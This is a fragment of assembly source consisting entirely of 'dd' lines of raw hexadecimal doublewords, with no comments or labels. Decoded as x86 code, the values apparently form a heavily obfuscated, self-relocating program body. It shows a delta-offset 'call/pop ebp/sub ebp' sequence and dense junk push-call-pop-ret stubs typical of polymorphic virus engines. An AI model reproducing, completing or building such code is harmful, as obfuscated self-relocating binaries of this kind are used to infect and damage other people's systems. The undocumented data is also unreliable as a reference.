		dd 81B50BFFh, 5E06280Bh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0C695DDC3h, 0DEBF06A1h
		dd 24D5BD29h, 13E90628h, 28000000h, 67B21201h, 0A66D42FCh
		dd 80C5BAFDh, 0E9CC0A0h, 95FFCA81h, 6282431h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0B7C35646h, 0B8D9FA71h
		dd 367F2BAh, 281925B5h,	0F39D8D06h, 0E9062B94h,	0Ch, 0D2B973D9h
		dd 0FE170D90h, 0A9AA98E5h, 6AD3FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0C08B63C3h
		dd 5985FF11h, 8B062816h, 2816CDB5h, 299D8906h, 0E9062807h
		dd 856h, 0E8h, 0ED815D00h, 62BF4E0h, 178ABE66h,	0DC1BD81h
		dd 7D00628h, 860F0000h,	132h, 99953160h, 60062829h, 0AE9h
		dd 0BA621E00h, 0E2C026D4h, 0E8196ECBh, 10h, 0D45FE636h
		dd 2251BB75h, 592C64BCh, 61843AB8h, 8B61615Bh, 282C299Dh
		dd 1BD8B06h, 81062815h,	100E3h,	810F00h, 0B000000h, 8E850FDBh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 594C356h, 66D88D20h, 0BF66FB8Bh
		dd 0BD837D73h, 62BF2B2h, 23840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0C34BC357h, 47E992h,	85C70000h, 62BF2B2h, 1,	0F9BF0FF9h
		dd 34E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 8F3662C2h, 134B0CB3h, 0B285C7F5h
		dd 62BF2h, 1000000h, 280C8195h,	299D8D06h, 6A06282Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0F585C352h, 0FEFF2381h, 6AFFFFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 8C661DC3h
		dd 19B589DBh, 0F6062822h, 840F04C3h, 1Fh, 0AEEEF7BEh, 0FD95FF75h
		dd 0E9062803h, 5, 0EADF9E0Ah, 489509Dh,	8D9D2924h, 0E906280Fh
		dd 497h, 2E7D8589h, 85090628h, 6281035h, 6A00B0h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 46E8E3C3h, 0B779262Fh, 53F92A8Fh, 6F53EE81h,	0E65E64ADh
		dd 51006A70h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0DD07536Bh, 5C375724h, 11E94Ch, 65CD0000h
		dd 0A41DE1E4h, 0CB47D2C6h, 0F97900DDh, 8B052BC1h, 2812ADB5h
		dd 6A71E406h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0BC2EC353h, 242BB70h, 0D8B60F1Ch
		dd 0CB816660h, 950145AAh, 6281A3Dh, 6BA61h, 0B5890000h
		dd 6280CD1h, 6AC38Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 8B1E90C3h, 280D8DBDh, 4E8C106h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0D2C35040h
		dd 0DB20C3E1h, 0D796112Eh, 17FDBF66h, 6AE2F766h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0F9C7C350h, 2BEB0A17h, 52006AD8h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 8B66A511h
		dd 31BD09FBh, 5006281Fh, 0D9D5BF66h, 6A241C89h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0BC74C351h, 2D019589h, 0B5FF0628h, 6280DC1h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0B4C35343h, 704D50CAh
		dd 11E942h, 0EE40000h, 103C8F79h, 4FFF5504h, 0BCF0854Dh
		dd 0FFB9C752h, 28046595h, 8E906h, 490F0000h, 7674E763h
		dd 0B0F941h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	21C35343h, 895E5171h, 282ED18Dh, 0AE86006h, 0DB000000h
		dd 46F9E4BDh, 5EBC9CEEh, 7D9D89A2h, 5F062834h, 3C8FBE66h
		dd 8970E661h, 281A3195h, 6A71E406h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 79D1C352h
		dd 82384378h, 3CA22B38h, 4C830F61h, 66000002h, 8BEA35BEh
		dd 0D8B60FF8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	83C35343h, 147BD130h, 6BA25DCh,	6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0D674C353h, 0BB9398E4h, 559D8B60h, 66062812h, 619E38BFh
		dd 0F50C38Bh, 583h, 6A08BF00h, 0E95F4FE3h, 10h,	1AF42AAAh
		dd 28E0C034h, 24473513h, 0AC1632B1h, 8B04E8C1h,	28114DBDh
		dd 0E2F76606h, 6AD82Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 40B2F5C3h, 21B58Bh, 6A580628h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 9A16C357h, 2B2F59DDh, 70880FD8h, 0E9000001h,	10h, 8F72FB69h
		dd 0D03DA1BFh, 90A55E49h, 0DD4941E6h, 7B9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 9E849h, 53610000h, 0FCBFF455h, 0E94BD77Ah, 0Fh, 0B72E29ECh
		dd 877D7F2Ah, 0C8F03105h, 5F54FC81h, 0F00C183h,	8Bh, 0FD93B00h
		dd 10686h, 699D0900h, 66062812h, 8C0FD98Ch, 6, 0D1B58Bh
		dd 0B70F0628h, 4C1F6F0h, 0BF840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 9C8168C3h
		dd 3002CEF9h, 8942D426h, 28191185h, 0FD95FF06h,	89062803h
		dd 2803DD8Dh, 6A5B06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0F0233C3h, 83h, 199D8900h, 2B062802h
		dd 0C7C781C3h, 3D645D4Eh, 834h,	4B860Fh, 860F0000h, 6
		dd 266DB509h, 60E90628h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 9B5C353h
		dd 0A035F250h, 0DE9E96Fh, 73000000h, 0B318E0Eh,	8F9C8FD9h
		dd 7A0DC539h, 6433B3BFh, 6AC08B1Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0AB94C350h
		dd 78596C3Ch, 8BF38BA3h, 6AD88BC3h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 3B0CC355h
		dd 0C12A1939h, 10E9h, 3DEDE000h, 7EDF5284h, 0E5D8CE2Fh
		dd 0C31278F2h, 0F0B70F8Bh, 2B3985C7h, 0DF910628h, 6A128Fh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8BC636C3h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 6080859Dh, 98A706D9h, 81669DFCh
		dd 891D82EFh, 280BD185h, 0C1BD8106h, 0D006280Dh, 0F000007h
		dd 4A85h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0C57325F5h, 0BEFB35EFh, 0DC185FFh
		dd 6A0628h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0A17723C3h, 0FFF2B70Fh, 280DC1B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 662C4A86h, 7AECE81h, 46595FFh
		dd 85890628h, 6281245h,	0ED958990h, 8106282Bh, 0BA83ABD6h
		dd 0BE975h, 0BC5D0000h,	6CB2A909h, 0E04DC077h, 0B840FBFh
		dd 0F000000h, 83h, 948BBE00h, 0DE84F90h, 11000000h, 0DF8A2A28h
		dd 5D02926h, 4217614h, 0BD8B5FF9h, 6280CF5h, 801BD8Bh
		dd 0BD8B0628h, 62801E5h, 2A95BD8Bh, 6A0628h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 9072C2C3h
		dd 20830F6Dh, 0E8000000h, 12h, 1323FC56h, 6078D046h, 0D9B63761h
		dd 53AB890Ch, 74BEA247h, 66600AF7h, 315FF98Bh, 282C25BDh
		dd 6DBD0906h, 0F062804h, 682h, 0A1B58B00h, 60062822h, 6BE18166h
		dd 66D48A2Fh, 0A278DE81h, 0F58D8B60h, 0E806280Fh, 5, 0A3D78291h
		dd 0B5895AB2h, 6280185h, 0AE9h,	422F6200h, 71DC20EEh, 611CF711h
		dd 5850F61h, 66000000h,	0DAD7EF81h, 20D8589h, 85890628h
		dd 6283411h, 0FFF7B3E9h, 9D8952FFh, 6280E29h, 0C18BF55Eh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 9AC35545h
		dd 8086D781h, 4EB2BB5h,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 9C35646h
		dd 6F100D2Bh, 30D9589h,	9D290628h, 6281959h, 2C05858Dh
		dd 6A0628h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 354C8C3h,	2814F1BDh, 52509006h, 310FF38Bh
		dd 0BE50585Ah, 77A60134h, 6A006A90h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 7218C353h
		dd 60006AF8h, 0E9A7E980h, 13h, 0C9F1C2A2h, 0EB59D17Eh
		dd 6CEF46A8h, 2A1658A2h, 61B17468h, 0FF05858Dh,	6A062Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 947189C3h, 5E9h, 72C8AB00h, 0C083F9AEh, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 0BEC602BCh, 5D18F38Ch, 8B666050h, 5E5160FBh,	4896161h
		dd 0EE924h, 3B100000h, 0B8943DFDh, 432489AFh, 1488DE04h
		dd 8B66006Ah, 0E8006AF0h, 0Eh, 0FBF2E6B3h, 0B339C56Dh
		dd 0CF52D4F6h, 0BD8936B4h, 6282461h, 3195FF5Fh,	6A062824h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0F73AC350h, 1FF1E07Fh, 9D89B511h,	6281725h
		dd 94F39D8Dh, 6A062Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0F4402AC3h, 8B0F3478h, 5, 2CEE8166h
		dd 0FFD3FF27h, 28165985h, 38D0F06h, 0F000000h, 89E9FFB7h
		dd 0E8000008h, 0
		dd 0FED815Dh, 81062BFFh, 280DC1BDh, 7D006h, 62860F00h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 7F87C351h, 9D8BD6F0h, 628200Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 89C35343h
		dd 877578EBh, 7A8B4D4Dh, 1941BD23h, 0E3810628h,	100h, 10890Fh
		dd 0BE90000h, 3F000000h, 0C6767340h, 4CF741CCh,	0DB0B6496h
		dd 7F850Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0DCBA1AC3h, 0CAE837D3h, 0FD57BD83h
		dd 0F00062Bh, 1284h, 0BD8BF900h, 6280251h, 51E9h, 7D9D8900h
		dd 0C7062819h, 2BFD5785h, 106h,	0E58D0100h, 0E9062806h
		dd 36h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h
		dd 2EC35242h, 17038C21h, 799D8964h, 8B06282Dh, 5785C7F8h
		dd 62BFDh, 66000000h, 9D8DF08Bh, 628200Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0EC35141h, 3850Fh
		dd 8B660000h, 8E9F3h, 0BB5F0000h, 146D78B3h, 2381D8DEh
		dd 0FFFFFEFFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0F9C35343h, 30AFE915h, 4EE59C6Dh, 0DB8C6687h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 5BC35141h, 1B67A72Bh
		dd 3321BD8Bh, 0B58B0628h, 62814CDh, 0F04C3F6h, 7484h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 11934E39h, 3D8EC241h, 118589A7h, 8B062815h, 280C59B5h
		dd 0FD95FF06h, 6A062803h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 6A04C351h, 0A3159B65h
		dd 880F3768h, 6, 1F518D89h, 60500628h, 3901BB66h, 0B423B0B9h
		dd 4896128h, 42EE924h, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0C028F7C3h, 5E2A34D4h
		dd 0E9F08B40h, 0Eh, 8CC0B0AAh, 5EAA6790h, 1C96AC0h, 0B06FA1h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 16C35242h
		dd 9589497Ah, 6283321h,	0E6FEBF0Fh, 53006A70h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 69B58B14h
		dd 0E4062807h, 55006A71h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0F9EA2305h, 61606057h
		dd 9E9h, 350E6800h, 23E5EBD4h, 5F618F0Ah, 33719D01h, 0B60F0628h
		dd 50006AD8h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 6BA66h, 95890000h, 6280545h, 8D89C38Bh
		dd 6282C1Dh, 6A04E8C1h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0A309C351h,	52F717BCh
		dd 0F52BB60h, 0B8Eh, 6E900h, 65A0000h, 0CFA161E2h, 12E8h
		dd 36B3000h, 8A086D24h,	225FAB5h, 8A6D3ED5h, 0E80AFA78h
		dd 9, 0E3B4AAC5h, 0DE0D6196h, 0EBBF6657h, 0E95E5FD9h, 5
		dd 0BA3A0E87h, 0E2F7667Ch, 0E5950952h, 5E062807h, 1FEDBD89h
		dd 0D82B0628h, 89F18B50h, 6A241Ch, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 865B67C3h, 0C1B5FF77h
		dd 6A06280Dh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0FFB9C357h, 28046595h,	5E906h
		dd 0ABFB0000h, 0B0562DD5h, 0C18D0100h, 0E606280Fh, 53006A70h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 34D50029h, 0E452ECF5h, 1D8D8971h, 0F06282Ch,	1487h
		dd 8E800h, 32AA0000h, 0E356821h, 8D893E78h, 6280DD1h, 0F613C5Fh
		dd 20F83h, 0E5BF6600h, 0D8B60F9Fh, 6BAFCh, 0B0BE0000h
		dd 8B70F0E7h, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0CA91D89Ah, 7B43298Bh, 6604E8C1h
		dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 95294CC3h, 628054Dh, 16EDBD0Bh, 0D82B0628h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 82C35040h
		dd 49D6E374h, 0E7819A14h, 5362F91Fh, 2BF88B58h,	75880FD8h
		dd 8B000001h, 2824D5B5h, 7B906h, 83F90000h, 8D0900C1h
		dd 6280F05h, 0D93B5F50h, 156860Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 17730FC3h
		dd 0D7BD814h, 70CE8160h, 8B636C49h, 0D98C66F7h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 2AC35343h, 0DB9C9BE6h
		dd 1D2D126Ah, 10E9h, 1759F500h,	0B756B66Ah, 0A9D7A8E2h
		dd 81B57BE0h, 6E3CBF27h, 0C1F603D2h, 0B9840F04h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 5E7C355h,	0FD95FF51h, 6A062803h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0BEDFC355h, 12E906h,	0EF60000h, 2B6D59FBh, 19BBFD81h
		dd 0E3AC4D54h, 1327BE0Eh, 7DBD015Bh, 81062822h,	0DAB2C3DEh
		dd 8BC32B00h, 282AD9B5h, 6840F06h, 31000000h, 28186D85h
		dd 8343D06h, 860F0000h,	34h, 8DB52353h,	5F062800h, 4FE9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 5A33EB9Ah, 7EDB90B0h, 0FA8B66F3h, 6AC08Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 966262C3h, 0BD0B1B22h, 6282BF5h, 0D88BC38Bh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 8FC35242h, 8BF08B66h
		dd 282659BDh, 2985C706h, 9F06282Ch, 6A1EE7D3h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0F630C352h, 0CEB098BBh, 6085249Bh, 17498531h, 8B0F0628h
		dd 2, 0F615B53h, 48Dh, 0CEBE6600h, 6AC08BA3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0DC18C350h, 213033C9h, 2BDB58Bh, 0BD810628h,	6280DC1h
		dd 7D0h, 12850Fh, 0FB8B0000h, 0DC185FFh, 61BF0628h, 0BE0EC82Fh
		dd 485DFAB7h, 0DC1B5FFh, 6A0628h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 70A090C3h, 0F3B70F9Fh
		dd 1E3DB58Bh, 95FF0628h, 6280465h, 14C99529h, 66900628h
		dd 0B533F38Bh, 6281E89h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 0CFC35545h, 49D7C8F6h, 12E9CB1Bh, 0FD000000h
		dd 0A89FDB4Fh, 0F112060Ah, 0CCC0F0B9h, 94B12EBBh, 59BD315Ch
		dd 8B062833h, 282D39BDh, 28E0F06h, 8B000000h, 56006AF1h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 6447F591h, 8D298109h, 62812B9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0D7C35040h,	743C5372h, 81FC5B75h
		dd 0B119E2E7h, 57006A36h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0A39BEB62h
		dd 0DFB23A56h, 8B661A9Eh, 950951F2h, 6281481h, 12E9h, 181CEB00h
		dd 0AEF3A229h, 354CAC48h, 583351DAh, 5F3060A1h,	344DBD89h
		dd 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 6C935BC3h, 10E9h,	93E6B200h, 77A5CF49h, 51E58183h
		dd 0FBAF7AA4h, 0F781E908h, 0B060FFFFh, 71B52BAEh, 61062822h
		dd 6AC18Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 60E516C3h, 82B194D4h, 0FD8D89B7h,	0EB062821h
		dd 4, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 6D7A721Ch, 88D0BBBEh, 499D897Dh
		dd 8906280Ch, 2817F19Dh, 0F98B6606h, 2C05858Dh,	85290628h
		dd 6281E75h, 5800Fh, 81660000h,	50F3F6CEh, 6A240489h, 45BD8900h
		dd 6A062823h, 69B58900h, 8D062802h, 2C091085h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 5AAE556Dh, 0B58BC7ADh, 6281A4Dh, 6A05C083h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 457DC355h, 8B503447h, 240489F3h, 285B58Bh, 6A0628h
		dd 43DBD2Bh, 6A0628h, 2665B58Bh, 95FF0628h, 6282431h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 57C35141h, 0D858942h
		dd 0B06281Ah, 282499B5h, 0F39D8D06h, 6A062B94h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0AE97C356h, 0FFD61584h, 0B1BD03D3h, 0FF062820h, 28165985h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 2B4D6D13h, 81DE921h, 0E80000h, 5D000000h
		dd 91AED81h, 0BF66062Ch, 0BD81F393h, 6280DC1h, 7D0h, 13E860Fh
		dd 0BF0F0000h, 0F99D8BF3h, 81062819h, 9CFECBE6h, 0E38158h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0CF4DC351h, 81663BD9h,	0BF8C3D7h
		dd 89850FDBh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0E9F1C355h,	0C0BD83A3h
		dd 62C07h, 23840Fh, 0B5330000h,	628342Dh, 7DE9h, 13E900h
		dd 91550000h, 10915EDDh, 31B01C3h, 60590414h, 7D683938h
		dd 0C085C78Ah, 1062C07h, 0E9000000h, 0Ah, 0F7AA0652h, 9E39266Fh
		dd 47E9168Ch, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0B972C351h,	7C085C7h
		dd 62Ch, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 180424h, 51410000h, 6F61A8C3h, 9D8D81E0h, 62819F9h
		dd 6850Fh, 0B58B0000h, 6281E59h, 0FEFF2381h, 6AFFFFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 797BA4C3h, 800FF572h, 6, 3321BD2Bh, 0BD8B0628h, 6282325h
		dd 0F6DB8C66h, 840F04C3h, 2Ah, 3FD95FFh, 0BD8B0628h, 62803D5h
		dd 13E95150h, 0D2000000h, 1E6734CFh, 0F95D655Ch, 7FE724ADh
		dd 0CAD34110h, 895F4605h, 5CE92404h, 0B0000004h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 6E6EC678h, 676FBE06h, 6070E6D3h, 9B513EB9h, 61FB8B24h
		dd 9E9h, 0AEA3B300h, 0F3B14738h, 71E49767h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 4DC35646h, 52BCF085h
		dd 17FEB9C7h, 0D8B60FF9h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0CC35040h, 0DF816629h, 6BA9106h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 32BC356h,	5D59D09h, 0C38B0628h, 6C1B58Bh
		dd 0E8C10628h, 8E904h, 0B150000h, 9933C0DDh, 0F766D40Eh
		dd 0FE8B66E2h, 6AD82Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0E42269C3h, 7E44BF66h, 10218D89h
		dd 0BD8B0628h, 62831D5h, 12E893h, 0B7620000h, 4DB230CEh
		dd 0D362A14Ah, 0B3FAB37Dh, 0F8E43609h, 0BF665250h, 310F96AAh
		dd 52B0BF66h, 505F585Ah, 0E993F78Bh, 0Ch, 0BE0DC183h, 0C2FDBE24h
		dd 6B005FF2h, 0DC1B5FFh, 6A0628h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 400760C3h, 14458589h
		dd 95FF0628h, 6280465h,	1596F1BEh, 6A00B003h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 275C352h, 79E74E05h,	95891DC6h, 6282145h, 0A840Fh, 8B600000h
		dd 282BCD9Dh, 615A5006h, 6A70E6h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 4F25F9C3h, 0B9BD8993h
		dd 0E4062812h, 50006A71h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 71D07543h, 52EA32BDh
		dd 0BF660035h, 613CD11Fh, 255830Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0BF9B97C3h
		dd 56ED9B5Dh, 0E96AC49Ch, 0Bh, 0FEB16ABh, 0E8F856E1h, 8B263C05h
		dd 2816E5BDh, 0D8B60F06h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 2DC35040h, 15F935E5h,	0DF81AFE9h, 325CA37Dh
		dd 81665153h, 5F51F3D6h, 6BA5Eh, 800F0000h, 17h, 12E9h
		dd 4C65E500h, 7D12DA9Ch, 0BC9E29BCh, 0C08D18C0h, 8BB61883h
		dd 50006AC3h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0F59D6146h, 4E8C1DBh, 850Fh, 0F7660000h
		dd 99BD23E2h, 2B06280Eh, 95C781D8h, 511D3B6Fh, 6A585Eh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0BCD1EBC3h, 0D82B9D3Dh, 15D880Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0D3D977C3h
		dd 0B58BF882h, 6280251h, 7B9h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 50A84574h
		dd 0B8EA601Bh, 0C18335h, 59531h, 0D93B0628h, 0FD860Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0A13F6DC3h, 64A6E2BDh, 0E9D5467Eh, 8, 9F9D737Dh
		dd 24C1087Ah, 66FB8B66h, 0DF81D98Ch, 655DCC2Bh,	0F04C1F6h
		dd 9684h, 0FD95FF00h, 89062803h, 281E6DB5h, 6A5B06h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 6864C8C3h, 2B0230FEh, 12E9C3h, 95BA0000h, 588FD57Dh
		dd 8BA6D3BDh, 70987BA5h, 4C3ED2A7h, 8343Dh, 44860F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0D7B5C352h, 40E9822Ch,	0F000000h
		dd 168Fh, 10E800h, 74190000h, 951B0370h, 1CC77FF4h, 94700F14h
		dd 665F9DCDh, 8BEC3DBEh, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 8B003319h, 0E9D88BC3h
		dd 0Fh,	4C979402h, 0D4AC136h, 479D2B39h, 0C7D9941Ch, 28200D85h
		dd 1B79DF06h, 0A9B58B72h, 8B062803h, 53006AC0h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 66598472h
		dd 0E872E781h, 9BB7D781h, 0BD811984h, 6280DC1h,	7D0h, 32850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 81357DC3h, 66F96DA7h, 2043CE81h, 0DC185FFh
		dd 8A0F0628h, 0
		dd 0DC1B5FFh, 0B58B0628h, 6280BCDh, 46595FFh, 6A0628h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 6A90C4C3h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 7C71C353h, 8B6644F5h, 0B5BD8BF8h
		dd 89062829h, 2829A1B5h, 0B8B0F06h, 66000000h, 3C02CF81h
		dd 5199D89h, 60600628h,	0F998529h, 8D8B0628h, 6281E7Dh
		dd 0DA95B961h, 0BF0F0782h, 0BF0F53C1h, 0EB8166F8h, 615EC439h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 77C35141h
		dd 8B6ADC23h, 280BCDBDh, 0D1958906h, 8B062829h,	282185BDh
		dd 85895606h, 6280D81h,	2045B589h, 0E95E0628h, 8, 0AA32F49h
		dd 0E8A7160Fh, 13E9h, 0B6C61000h, 0F5AF94DAh, 0EC68F275h
		dd 4D63CF57h, 0DC9C0ED1h, 5058D89h, 6A0628h, 3E856h, 5E200000h
